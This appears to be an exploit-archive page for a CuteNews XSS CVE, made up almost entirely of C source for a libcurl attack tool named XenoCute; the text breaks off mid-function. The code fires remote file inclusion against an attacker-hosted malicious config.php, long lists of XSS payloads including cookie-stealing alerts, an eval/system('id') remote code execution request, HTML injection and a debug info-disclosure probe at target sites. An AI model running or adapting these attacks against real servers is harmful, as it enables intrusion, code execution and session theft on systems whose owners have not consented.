XSS in CuteNews 1.3.6


Description

CVE-2004-1659 is a Cross-Site Scripting (XSS) vulnerability in CuteNews, affecting version 1.3.6 and earlier. The issue occurs in the index.php file, where the mod parameter is not properly sanitized. An attacker with Administrator, Editor, Journalist, or Commenter privileges can inject arbitrary HTML or JavaScript, potentially affecting other users.

Author :

Byte Reaper :

Build :

    # gcc XenoCute.c argparse.c -o XenoCute -lcurl

Run Exploit :

    # ./XenoCute -u http://127.0.0.1 

NOTE : This project focuses on exploiting multiple vulnerabilities in the CuteNews service. If a CVE appears more than once, it may indicate additional vulnerabilities are included.

Exploit :

File: xenoCute.c — Size: 46,1 KB — Lines: 1248

  
    #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <unistd.h>
      #include <sys/ioctl.h>
      #include <sys/socket.h>
      #include <net/if.h>
      #include <arpa/inet.h>
      #include <netinet/in.h>
      #include <ifaddrs.h>
      #include <time.h>
      #include <regex.h>
      #include <curl/curl.h>
      #include "argparse.h"
      
      #define BUFFER_SIZE 100000
      #define FULL_URL 2048
      #define RESPONSE_CODE  10000
      #define CONTENT 500
      #define DATA 200 
      
      struct Mem {
          char *buffer;
          size_t len;
      };
      
      //File Log
      void log_to_file(const char *message)
      {
     
         FILE *file = fopen("exploit.log","a");   
         if (!file) 
         {
             perror("\e[0;31m[-] Error opening exploit.log");
             return;
         }
      
         time_t now = time(NULL);                      
         char *ts = ctime(&now);
         ts[strlen(ts) - 1] = '\0';
                 
         fprintf(file,
             "[%s] %s\n", 
             ts,
             message);
         fclose(file);
     }
      
     void print_slow(const char* str) 
     {
          while (*str) {
             putchar(*str);  
             fflush(stdout);
             usleep(100000); 
             str++;
          }
     }
      
     //Get ip and Mac Address
     void info()
      {
          struct ifaddrs *ifaddr, *ifa;
          char ip[INET_ADDRSTRLEN];
          char mac[18];
      
          if (getifaddrs(&ifaddr) == -1)
          {
              printf("\e[0;31m[-] Error get ip address\n");
              return;
          }
      
          for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next)
          {
              if (ifa->ifa_addr == NULL)
                  continue;
      
              if (ifa->ifa_addr->sa_family == AF_INET)
              {
                  struct sockaddr_in *sa = (struct sockaddr_in *)ifa->ifa_addr;
                  inet_ntop(AF_INET,
                      &sa->sin_addr, 
                      ip, 
                      sizeof(ip));
      
                  int fd = socket(AF_INET,
                      SOCK_DGRAM, 
                      0);
                  struct ifreq ifr;
                  memset(&ifr,
                      0,
                      sizeof(ifr));
                  strncpy(ifr.ifr_name,
                      ifa->ifa_name,
                      IFNAMSIZ - 1);
      
                  if (ioctl(fd, SIOCGIFHWADDR, &ifr) == 0)
                  {
                      unsigned char *hwaddr = (unsigned char *)ifr.ifr_hwaddr.sa_data;
                      snprintf(mac,
                          sizeof(mac),
                          "%02X:%02X:%02X:%02X:%02X:%02X",
                               hwaddr[0],
                               hwaddr[1],
                               hwaddr[2],
                               hwaddr[3],
                               hwaddr[4],
                               hwaddr[5]);
      
                      char message[256];
                      snprintf(message,
                          sizeof(message),
                          "\e[0;36m[+] Your IP: %s | Interface: %s | MAC: %s",
                              ip, ifa->ifa_name,
                              mac);
                      log_to_file(message);
                  }
                  close(fd);
              }
          }
      
          freeifaddrs(ifaddr);
      }
     
     size_t write_to_str(void *ptr, 
          size_t size, 
          size_t nmemb,
           void *userdata) 
     {
          size_t total = size * nmemb;
          
          strncat((char *)userdata, 
          (char *)ptr, 
          total);
          return total;
      }
      size_t write_cb(void *ptr,
          size_t size,
          size_t nmemb,
          void *userdata) 
      {
          size_t total = size * nmemb;
          struct Mem *m = (struct Mem *)userdata;
      
          char *tmp = realloc(m->buffer,
              m->len + total + 1);
          if (!tmp) return 0;
      
          m->buffer = tmp;
          memcpy(&(m->buffer[m->len]), ptr, total);
          m->len += total;
          m->buffer[m->len] = '\0';
          return total;
     }
      
      
      int fetch_page(const char *url,
          struct Mem *page) 
     {
          CURL *curl = curl_easy_init();
          if (!curl) {
              fprintf(stderr, "\e[0;31m[-] Curl initialization failed\n");
              log_to_file("\e[0;31m[-] Curl initialization failed\n");
              return 1;
          }
      
          curl_easy_setopt(curl,
              CURLOPT_URL,
              url);
          curl_easy_setopt(curl,
              CURLOPT_FOLLOWLOCATION,
              1L);
          curl_easy_setopt(curl,
              CURLOPT_WRITEFUNCTION,
              write_cb);
          curl_easy_setopt(curl,
              CURLOPT_WRITEDATA,
              page);
      
          CURLcode res = curl_easy_perform(curl);
          if (res != CURLE_OK) 
          {
              fprintf(stderr,
                  "\e[0;31m[-] HTTP request failed: %s\n",
                  curl_easy_strerror(res));
              curl_easy_cleanup(curl);
              return 1;
          }
      
          curl_easy_cleanup(curl);
          return 0;
      }
      
      
      char *find_version(const char *url) 
      {
      
          CURL *curl = curl_easy_init();
          if (!curl) return NULL;
      
          
          char buffer[BUFFER_SIZE];
          buffer[0] = '\0';
      
          curl_easy_setopt(curl,
              CURLOPT_URL, 
              url);
          curl_easy_setopt(curl, 
              CURLOPT_FOLLOWLOCATION, 
              1L);
        
          curl_easy_setopt(curl,
              CURLOPT_WRITEFUNCTION,
              write_to_str);
          curl_easy_setopt(curl,
              CURLOPT_WRITEDATA,
              buffer);
      
          if (curl_easy_perform(curl) != CURLE_OK) 
          {
              curl_easy_cleanup(curl);
              return NULL;
          }
          curl_easy_cleanup(curl);
          regex_t re;
          if (regcomp(&re,
                      "CuteNews[ ]*([0-9]+\\.[0-9]+(\\.[0-9]+)?)",
                      REG_EXTENDED | REG_ICASE)) {
              return NULL;
          }
      
          regmatch_t m[2];
          char *version = NULL;
          if (regexec(&re, buffer, 2, m, 0) == 0) 
          {
              size_t len = m[1].rm_eo - m[1].rm_so;
              version = malloc(len + 1);
              if (version) {
                  strncpy(version, buffer + m[1].rm_so, len);
                  version[len] = '\0';
              }
          }
      
          regfree(&re);
          return version; 
      }
      // Exploit version 0.88
      // vulnerability RFI 
      void exploit_RFI_0_88(const char *base_url,
          const char *payload_url)
      {
          CURL *curl;
          CURLcode res;
          char full_url[FULL_URL];
          const char *scripts[] = { "comments.php", "search.php", "shownews.php" };
          int num_scripts = sizeof(scripts) / sizeof(scripts[0]);
      
          printf("\e[0;37m---------------------------------------------------------------------\n");
          printf("\e[0;36m[+] Attempting RFI Exploitation on CuteNews across multiple scripts\n");
          printf("\e[0;36m[+] Make sure you are hosting your payload via HTTP server\n");
          printf("\e[0;36m[+] Example: python3 -m http.server 8080\n");
          printf("\e[0;36m[+] Place your malicious config.php at the root of the server\n\n");
          log_to_file("\e[0;37m---------------------------------------------------------------------\n");
          log_to_file("\e[0;36m[+] Attempting RFI Exploitation on CuteNews across multiple scripts\n");
          log_to_file("\e[0;36m[+] Make sure you are hosting your payload via HTTP server\n");
          log_to_file("\e[0;36m[+] Example: python3 -m http.server 8080\n");
          log_to_file("\e[0;36m[+] Place your malicious config.php at the root of the server\n\n");
     
     
      
          for (int i = 0; i < num_scripts; i++)
          {
              printf("\e[0;37m---------------------------------------------------------------------\n");
              printf("\e[0;34m[+] Trying script: %s\n",
                  scripts[i]);
      
              snprintf(full_url, sizeof(full_url),
                  "%s/%s?cutepath=%s",
                  base_url,
                  scripts[i],
                  payload_url);
             log_to_file("\e[0;34m[+] Trying script\n");
      
              printf("\e[0;32m[+] Full Exploit URL: %s\n",
                  full_url);
             log_to_file("\e[0;32m[+] Full Exploit URL :\n");
             log_to_file(full_url);
      
              curl = curl_easy_init();
              long httpCode = 0; 
              if (curl)
              {
                  curl_easy_setopt(curl,
                      CURLOPT_URL,
                      full_url);
                  curl_easy_setopt(curl,
                      CURLOPT_FOLLOWLOCATION,
                      1L);
      
                  res = curl_easy_perform(curl);
                  if (res != CURLE_OK)
                  {
                      fprintf(stderr,
                          "\e[0;31m[-] Request failed for %s: %s\n",
                          scripts[i],
                          curl_easy_strerror(res));
                          log_to_file("\e[0;31m[-] Request failed\n");
                  }
                  else
                  {
                      printf("\e[0;36m[+] Exploit request sent successfully for %s!\n",
                          scripts[i]);
                     log_to_file("\e[0;36m[+] Exploit request sent successfully !\n");
                      curl_easy_getinfo(curl,
                      CURLINFO_RESPONSE_CODE,
                      &httpCode);
                      printf("\e[0;36m[+] Http Response Code : %ld\n",
                          httpCode);
                  }
      
                  curl_easy_cleanup(curl);
              }
              else
              {
                 fprintf(stderr,
                      "\e[0;33m[!] Failed to initialize CURL for %s.\n",
                      scripts[i]);
                 log_to_file("\e[0;33m[!] Failed to initialize CURL.\n");
              }
          }
      }
      
      // Exploit version 0.88/1.3
      // Vulnerability XSS  
      void exploit_XSS_0_88(const char *url)
      {
          CURL *curl;
          CURLcode res;
          char full_url[FULL_URL];
          char response[RESPONSE_CODE] = {0};
          printf("\e[0;37m---------------------------------------------------------------------\n");
          log_to_file("\e[0;37m---------------------------------------------------------------------\n");
          printf("\e[0;36m[+] Attempting XSS Exploitation (0.88)...\n\n");
          log_to_file("\e[0;36m[+] Attempting XSS Exploitation (0.88) ...\n\n");
          const char *payload[] = 
          {
          "<script>alert(document.cookie);</script>",
          "<img src=x onerror=alert(1)>",
          "<svg onload=alert(1)>",
          "\"><script>alert(1)</script>",
          "';alert(1);//",
          "\"><img src=x onerror=alert(document.domain)>",
          "<body onload=alert('XSS')>",
          "<details open ontoggle=alert('XSS')>",
          "<object data=javascript:alert(1)>",
          "<embed src=javascript:alert(1)>",
          "<link rel=stylesheet href=data:text/css,*{animation-name:alert(1)}>",
          "<style>@keyframes x{}</style><div style='animation-name:x' onanimationstart=alert(1)></div>",
          "<input autofocus onfocus=alert('XSS')>",
          "<video><source onerror=\"javascript:alert(1)\"></video>",
          "<iframe src=javascript:alert(1)>",
          "<scr<script>ipt>alert(1)</scr</script>ipt>",
          "<script>/*-≶><!]]>*/alert(1)//<!</script>",
          "<svg><desc><![CDATA[><script>alert(1)</script>]]></desc></svg>",
          "<math><mi//xlink:href=\"data:x,alert(1)\"></math>",
          "<iframe srcdoc='<script>alert(1)</script>'></iframe>",
          "<object type='text/html' data='data:text/html,<script>alert(1)</script>'></object>",
          "<form><button formaction='javascript:alert(1)'>ClickMe</button></form>",
          "<img src=x onerror=confirm(1)>",
          "<audio src onerror=prompt(1)>",
          "<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></iframe>",
          "`'><script>\xE2\x80\x84javascript:alert(1)</script>",
          "`'><script>\xE3\x80\x80javascript:alert(1)</script>",
          "`'><script>\x09javascript:alert(1)</script>",
          "`'><script>\xE2\x80\x89javascript:alert(1)</script>",
          "`'><script>\xE2\x80\x85javascript:alert(1)</script>",
          "`'><script>\xE2\x80\x88javascript:alert(1)</script>",
          "`'><script>\x00javascript:alert(1)</script>",
          "`'><script>\xE2\x80\xA8javascript:alert(1)</script>",
          "`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>",
          "`'><script>\xE1\x9A\x80javascript:alert(1)</script>",
          "<a href=\"\\x18javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x11javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\xE2\\x80\\x88javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\xE2\\x80\\x89javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\xE2\\x80\\x80javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x17javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x03javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x0Ejavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x1Ajavascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x00javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x10javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\xE2\\x80\\x82javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x20javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"\\x13javascript:javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<object src=1 href=1 onerror=\"javascript:alert(1)\"></object>",
          "<script src=1 href=1 onerror=\"javascript:alert(1)\"></script>",
          "<svg onResize svg onResize=\"javascript:javascript:alert(1)\"></svg onResize>",
          "<title onPropertyChange title onPropertyChange=\"javascript:javascript:alert(1)\"></title onPropertyChange>",
          "<iframe onLoad iframe onLoad=\"javascript:javascript:alert(1)\"></iframe onLoad>",
          "<body onMouseEnter body onMouseEnter=\"javascript:javascript:alert(1)\"></body onMouseEnter>",
          "<body onFocus body onFocus=\"javascript:javascript:alert(1)\"></body onFocus>",
          "<frameset onScroll frameset onScroll=\"javascript:javascript:alert(1)\"></frameset onScroll>",
          "<script onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1)\"></script onReadyStateChange>",
          "<html onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"></html onMouseUp>",
          "<body onPropertyChange body onPropertyChange=\"javascript:javascript:alert(1)\"></body onPropertyChange>",
          "<svg onLoad svg onLoad=\"javascript:javascript:alert(1)\"></svg onLoad>",
          "<body onPageHide body onPageHide=\"javascript:javascript:alert(1)\"></body onPageHide>",
          "<body onMouseOver body onMouseOver=\"javascript:javascript:alert(1)\"</body onMouseOver>",
          "<body onUnload body onUnload=\"javascript:javascript:alert(1)\"></body onUnload>",
          "<body onLoad body onLoad=\"javascript:javascript:alert(1)\"></body onLoad>",
          "<bgsound onPropertyChange bgsound onPropertyChange=\"javascript:javascript:alert(1)\"></bgsound onPropertyChange>",
          "<html onMouseLeave html onMouseLeave=\"javascript:javascript:alert(1)\"></html onMouseLeave>",
          "<html onMouseWheel html onMouseWheel=\"javascript:javascript:alert(1)\"></html onMouseWheel>",
          "<style onLoad style onLoad=\"javascript:javascript:alert(1)\"></style onLoad>",
          "<iframe onReadyStateChange iframe onReadyStateChange=\"javascript:javascript:alert(1)\"></iframe onReadyStateChange>",
          "<body onPageShow body onPageShow=\"javascript:javascript:alert(1)\"></body onPageShow>",
          "<style onReadyStateChange style onReadyStateChange=\"javascript:javascript:alert(1)\"></style onReadyStateChange>",
          "<frameset onFocus frameset onFocus=\"javascript:javascript:alert(1)\"></frameset onFocus>",
          "<applet onError applet onError=\"javascript:javascript:alert(1)\"></applet onError>",
          "<marquee onStart marquee onStart=\"javascript:javascript:alert(1)\"></marquee onStart>",
          "�",
          "<form><input type=\"date\" onfocus=\"alert(1)\"></form>",
          "<form><textarea onkeyup='alert(1)'></textarea></form>",
          "<script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script>"
          };
      
          int numberPayloads = sizeof(payload) / sizeof(payload[0]);
      
          typedef struct 
          {
              const char *file;
              const char *parameter;
          }Target;
      
          Target targets[] =  {
              { "example1.php" , "subaction=showfull&id=%s" },
              { "example2.php" , "subaction=showfull&id=%s" },
              { "index.php" , "mod=%s" },
              { "show_archives.php" , "subaction=showcomments&id=%s" }
      
          };
          int numberScripts = sizeof(targets) / sizeof(targets[0]);
      
          for (int f = 0; f < numberScripts; f++) 
          {
              for (int p = 0; p < numberPayloads; p++) 
              {
                  printf("\e[0;34m[+] Trying script: %s with payload: %s\n",
                      targets[f].file,
                      payload[p]);
      
                  char formatted_param[1024];
                  snprintf(formatted_param,
                      sizeof(formatted_param),
                      targets[f].parameter,
                      payload[p]);
      
                  snprintf(full_url,
                      sizeof(full_url),
                      "%s/%s?%s",
                      url,
                      targets[f].file,
                      formatted_param);
                  printf("\e[0;32m[+] Full XSS URL: %s\n",
                      full_url);
      
                  curl = curl_easy_init();
                  if (curl) 
                  {
                      memset(response,0,sizeof(response));
                      curl_easy_setopt(curl,
                          CURLOPT_URL,
                          full_url);
                      curl_easy_setopt(curl,
                          CURLOPT_FOLLOWLOCATION,
                          1L);
                      curl_easy_setopt(curl, 
                          CURLOPT_WRITEFUNCTION,
                          write_cb);
                      curl_easy_setopt(curl,
                          CURLOPT_WRITEDATA,
                          response);
      
                      res = curl_easy_perform(curl);
                      if (res != CURLE_OK)
                      {
                          fprintf(stderr,
                              "\e[0;31m[-] Request failed: %s\n", 
                              curl_easy_strerror(res));
                         log_to_file("\e[0;31m[-] Request failed\n");
                      } else 
                      {
                          printf("\e[0;36m[+] Request sent successfully!\n");
                          log_to_file("\e[0;36m[+] Request sent successfully!\n");
                          if (strstr(response,payload[p]) != NULL)
                          {
                              printf("\e[0;36m[+] Possible XSS Injection detected with payload: %s\n",
                                  payload[p]);
                             log_to_file("\e[0;36m[+] Possible XSS Injection\n");
                          }
                          else 
                          {
                               printf("\e[0;31m[-] Payload not reflected in response\n");
                               log_to_file("\e[0;31m[-] Payload not reflected in response\n");
                          }
                      }
      
                      curl_easy_cleanup(curl);
                  } else 
                  {
                      fprintf(stderr,
                          "\e[0;33m[!] Failed to initialize CURL\n");
                     log_to_file("\e[0;33m[!] Failed to initialize CURL\n");
                  }
              }
          }
      }
      
      //Exploit version 1.1.1 
      // Vulnerability RCE
      void exploit_RCE_1_1_1(const char *url)
      {
          CURL *curl; 
          CURLcode res;
          char full_url[FULL_URL]; 
      
          const char *payload = "text=%3C!--%7B%24%7Beval($s)%7D%7D--%3E&s=system('id')"; 
          printf("\e[0;37m---------------------------------------------------------------------\n");
          log_to_file("\e[0;37m---------------------------------------------------------------------\n");
          printf("\e[0;36m[+] Attempting RCE Exploitation (1.1.1)...\n\n");
          log_to_file("\e[0;36m[+] Attempting RCE Exploitation (1.1.1) ...\n\n");
          snprintf(full_url,
              sizeof(full_url),
              "%s/strawberry/plugins/wacko/highlight/html.php?%s",
              url,
              payload);
          printf("\e[0;36m[+] Sending exploit to: %s\n",
              full_url);
         log_to_file("\e[0;36m[+] Sending exploit\n");
          curl = curl_easy_init(); 
          if (curl)
          {
              curl_easy_setopt(curl,
                  CURLOPT_URL,
                  full_url);
              curl_easy_setopt(curl,
                  CURLOPT_FOLLOWLOCATION,
                  1L);
      
              res = curl_easy_perform(curl);
              long httpCode = 0;
              if (res != CURLE_OK) 
              {
                  fprintf(stderr,
                      "\e[0;31m[-] Request failed: %s\n",
                      curl_easy_strerror(res));
                 log_to_file("\e[0;31m[-] Request failed: \n");
              }
              else 
              {
                  printf("\e[0;36m[+] Exploit sent successfully!\n");
                  log_to_file("\e[0;36m[+] Exploit sent successfully!\n");
                  curl_easy_getinfo(curl,
                      CURLINFO_RESPONSE_CODE,
                      &httpCode);
                      printf("\e[0;32m=> Http Response Code : %ld\n",
                          httpCode);
              }
      
              curl_easy_cleanup(curl);
          }
          else 
          {
              fprintf(stderr, "\e[0;33m[!] Failed to initialize CURL\n");
              log_to_file("\e[0;33m[!] Failed to initialize CURL\n");
          }
      }
      
     
       const char *payload[] = {
          "<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,32,66,121,112,97,115,115,39,41))>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<script type=\"text/javascript\">javascript:alert(1);</script>",
          "<img src=\"x\" onerror=prompt(8)>",
          "<img src=\"x\" onerror=prompt(8)>",
          "<img src=\"x\" onerror=prompt(8)>",
          "<img src=\"x\" onerror=prompt(8)>",
          "<img src=\"q\" onerror=prompt(8)>",
          "<img src=\"q\" onerror=prompt(8)>",
          "<html onmouseleave=\"javascript:alert(1)\"></html>",
          "<html onwheel=\"javascript:alert(1)\"></html>",
          "<style onload=\"javascript:alert(1)\"></style>",
          "<iframe onreadystatechange=\"javascript:alert(1)\"></iframe>",
          "<body onpageshow=\"javascript:alert(1)\"></body>",
          "<style onreadystatechange=\"javascript:alert(1)\"></style>",
          "<frameset onfocus=\"javascript:alert(1)\"></frameset>",
          "<applet onerror=\"javascript:alert(1)\"></applet>",
          "<marquee onstart=\"javascript:alert(1)\"></marquee>",
          "<script onload=\"javascript:alert(1)\"></script>",
          "<html onmouseover=\"javascript:alert(1)\"></html>",
          "<html onmouseenter=\"javascript:parent.alert(1)\"><html>",
          "<body onbeforeunload=\"javascript:alert(1)\"></body>",
          "<html onmousedown=\"javascript:alert(1)\"></html>",
          "<marquee onscroll=\"javascript:alert(1)\"></marquee>",
          "<xml onpropertychange=\"javascript:alert(1)\"></xml>",
          "<frameset onblur=\"javascript:alert(1)\"></frameset>",
          "<applet onreadystatechange=\"javascript:alert(1)\"></applet>",
          "<svg onunload=\"javascript:alert(1)\"></svg>",
          "<html onmouseout=\"javascript:alert(1)\"></html>",
          "<body onmousemove=\"javascript:alert(1)\"></body>",
          "<body onresize=\"javascript:alert(1)\"></body>",
          "<object onerror=\"javascript:alert(1)\"></object>",
          "<body onpopstate=\"javascript:alert(1)\"></body>",
          "<html onmousemove=\"javascript:alert(1)\"></html>",
          "<applet onreadystatechange=\"javascript:alert(1)\"></applet>",
          "<body onpagehide=\"javascript:alert(1)\"></body>",
          "<svg onunload=\"javascript:alert(1)\"></svg>",
          "<applet onerror=\"javascript:alert(1)\"></applet>",
          "<script>if(\"x\\xE1\\x96\\x89\".length == 2) { javascript:alert(1); }</script>",
          "<script>if(\"x\\xE0\\xB9\\x92\".length == 2) { javascript:alert(1); }</script>",
          "<script>if(\"x\\xEE\\xA9\\x93\".length == 2) { javascript:alert(1); }</script>",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "ABC<div style=\"x:expression(javascript:alert(1))\">DEF",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "<a href=\"javascript:alert(1)\" id=\"fuzzelement1\">test</a>",
          "`'><img src=\"xxx:x\" onerror=javascript:alert(1)>",
          "`'><img src=\"xxx:x\" onerror=javascript:alert(1)>",
          "`'><img src=\"xxx:x\" onerror=javascript:alert(1)>",
          "`'><img src=\"xxx:x\" onerror=javascript:alert(1)>",
          "`'><img src=\"xxx:x\" onerror=javascript:alert(1)>",
          "`'><img src=\"xxx:x\" onerror=javascript:alert(1)>",
          };
      
      // exploit HTML injection
      // version  1.3 
      // Vulnerability HTML INJECTION
      void exploit_html_injection1_3(const char *url) 
      {
          CURL *curl;
          CURLcode res;
          char full_url[FULL_URL];
          char formatt[FULL_URL];
          char response[RESPONSE_CODE] = {0}; 
         
          printf("\e[0;37m---------------------------------------------------------------------\n");
          log_to_file("\e[0;37m---------------------------------------------------------------------\n");
          printf("\e[0;36m[+] Exploit HTML Injection....\n");
          int numberPayloads = sizeof(payload) / sizeof(payload[0]);
      
          typedef struct {
              const char *file;
              const char *parameter_format;
          } Targets;
      
          Targets targets[] = {
              {"show_news.php", "subaction=addcomment&name=UserName&comments=%s&id=1078525267||1090074219|UserName|none|127.0.0.1||"}
          };
      
          int numberScripts = sizeof(targets) / sizeof(targets[0]);
          long httpCode = 0;
          for (int f = 0; f < numberScripts; f++)
          {
              for (int p = 0; p < numberPayloads; p++) 
              {
                  snprintf(formatt,
                      sizeof(formatt),
                      targets[f].parameter_format,
                      payload[p]);
                  snprintf(full_url,
                      sizeof(full_url),
                      "%s/%s?%s",
                      url,
                      targets[f].file,
                      formatt);
      
                  printf("\e[0;32m[+] Full XSS URL: %s\n",
                      full_url);
                 log_to_file("\e[0;32m[+] Full XSS URL : \n"); 
                 log_to_file(full_url);
      
                  curl = curl_easy_init();
                  if (curl) 
                  {
                      curl_easy_setopt(curl,
                          CURLOPT_URL,
                          full_url);
                      curl_easy_setopt(curl,
                          CURLOPT_FOLLOWLOCATION,
                          1L);
                      curl_easy_setopt(curl,
                          CURLOPT_WRITEFUNCTION,
                          write_cb);
                      curl_easy_setopt(curl,
                          CURLOPT_WRITEDATA,
                          response); 
                      
                      res = curl_easy_perform(curl);
      
                      if (res != CURLE_OK)
                      {
                          fprintf(stderr,
                              "\e[0;31m[-] Request failed: %s\n",
                              curl_easy_strerror(res));
                          curl_easy_getinfo(curl,
                             CURLINFO_RESPONSE_CODE,
                             &httpCode);
                          printf("\e[0;32m=> HTTP CODE : %ld\n", httpCode);
                         log_to_file("\e[0;31m[-] Request failed \n");
                      } else 
                      {
                          printf("\e[0;36m[+] Request sent successfully!\n");
                          curl_easy_getinfo(curl,
                             CURLINFO_RESPONSE_CODE,
                             &httpCode);
                          printf("\e[0;32m=> HTTP CODE : %ld\n", httpCode);
                          log_to_file("\e[0;36m[+] Request sent successfully!\n");
                          if (strstr(response,
                              payload[p]) != NULL) {
                              printf("\e[0;36m[+] Possible XSS / Html Injection detected with payload: %s\n",
                                  payload[p]);
                                  curl_easy_getinfo(curl,
                                     CURLINFO_RESPONSE_CODE,
                                     &httpCode);
                                  printf("\e[0;32m=> HTTP CODE : %ld\n", httpCode);
                              log_to_file("\e[0;36m[+] Possible XSS / Html Injection \n"); 
                          } else 
                          {
                              printf("\e[0;31m[-] Payload not reflected in response\n");
                              curl_easy_getinfo(curl,
                                 CURLINFO_RESPONSE_CODE,
                                 &httpCode);
                              printf("\e[0;32m=> HTTP CODE : %ld\n", httpCode);
                              log_to_file("\e[0;31m[-] Payload not reflected in response\n");
                          }
                      }
      
                      curl_easy_cleanup(curl);
                      memset(response,
                          0,
                          sizeof(response));
                  } else {
                      fprintf(stderr,
                          "\e[0;33m[!] Failed to initialize CURL.\n");
                      log_to_file("\e[0;33m[!] Failed to initialize CURL.\n");
                  }
              }
          }
      }
      
      // version  1.3 
      // Vulnerability INFO DISCLOSURE
      void exploit_info_disclosure1_3(const char *url) 
      {
          CURL *curl;
          CURLcode res;
          char full_url[FULL_URL];
          char response[RESPONSE_CODE] = {0}; 
          printf("\e[0;37m---------------------------------------------------------------------\n");
          log_to_file("\e[0;37m---------------------------------------------------------------------\n");
          printf("\e[0;36m[+] Exploit Info Disclosure...\n");
          log_to_file("\e[0;36m[+] Exploit Info Disclosure...\n");
          snprintf(full_url,
              sizeof(full_url),
              "%s/index.php?debug",
              url);
      
          printf("\e[0;36m[+] Sending request to: %s\n",
              full_url);
          log_to_file("\e[0;36m[+] Sending request : \n");
          log_to_file(full_url);
          
     
          curl = curl_easy_init();
          if (curl) {
              curl_easy_setopt(curl,
                  CURLOPT_URL,
                  full_url);
              curl_easy_setopt(curl,
                  CURLOPT_FOLLOWLOCATION,
                  1L);
              curl_easy_setopt(curl,
                  CURLOPT_WRITEFUNCTION,
                  write_cb);
              curl_easy_setopt(curl,
                  CURLOPT_WRITEDATA,
                  response);
      
              res = curl_easy_perform(curl);
              long httpCode = 0;
              if (res != CURLE_OK) 
              {
                  fprintf(stderr,
                      "\e[0;31m[-] Request failed: %s\n",
                      curl_easy_strerror(res));
                  log_to_file("\e[0;31m[-] Request failed\n");
              } 
              else 
              {
                  printf("\e[0;36m[+] Request sent successfully!\n");
                  log_to_file("\e[0;36m[+] Request sent successfully!\n");
                  curl_easy_getinfo(curl,
                  CURLINFO_RESPONSE_CODE,
                  &httpCode);
                  printf("\e[0;32m=> HTTP response code: %ld\n",
                  httpCode);
      
                  if (strstr(response, "PHP Version") != NULL || strstr(response, "System") != NULL) 
                  {
                      printf("\e[0;36m[+] Possible phpinfo() exposure detected!\n");
                      log_to_file("\e[0;36m[+] Possible phpinfo() exposure detected!\n");
                  } 
                  else 
                  {
                      printf("\e[0;31m[-] No phpinfo() signs found in response.\n");
                      curl_easy_getinfo(curl,
                         CURLINFO_RESPONSE_CODE,
                         &httpCode);
                         printf("\e[0;32m=> HTTP response code: %ld\n",
                         httpCode);
                      log_to_file("\e[0;31m[-] No phpinfo() signs found in response.\n");
                  }
              }
      
              curl_easy_cleanup(curl);
          } else {
              fprintf(stderr, "\e[0;33m[!] Failed to initialize CURL.\n");
              log_to_file("\e[0;33m[!] Failed to initialize CURL.\n");
          }
      }
      
     
      // version  1.3.1 
      // Vulnerability XSS
     void xss1_3_1(const char *UrlInput) 
      {
          CURL *curl;
          CURLcode res;
          char full[FULL_URL];
          char response[RESPONSE_CODE];
          long httpCode = 0;
          int numberP = sizeof(payload) / sizeof(payload[0]);
          printf("\e[0;37m---------------------------------------------------------------------\n");
          log_to_file("\e[0;37m---------------------------------------------------------------------\n");
          printf("\e[0;36m[+] Exploit XSS (1.3.1)...\n");
          log_to_file("\e[0;36m[+] Exploit XSS (1.3.1)...\n");
          
          for (int p = 0; p < numberP; p++) 
          {
              snprintf(full, sizeof(full),
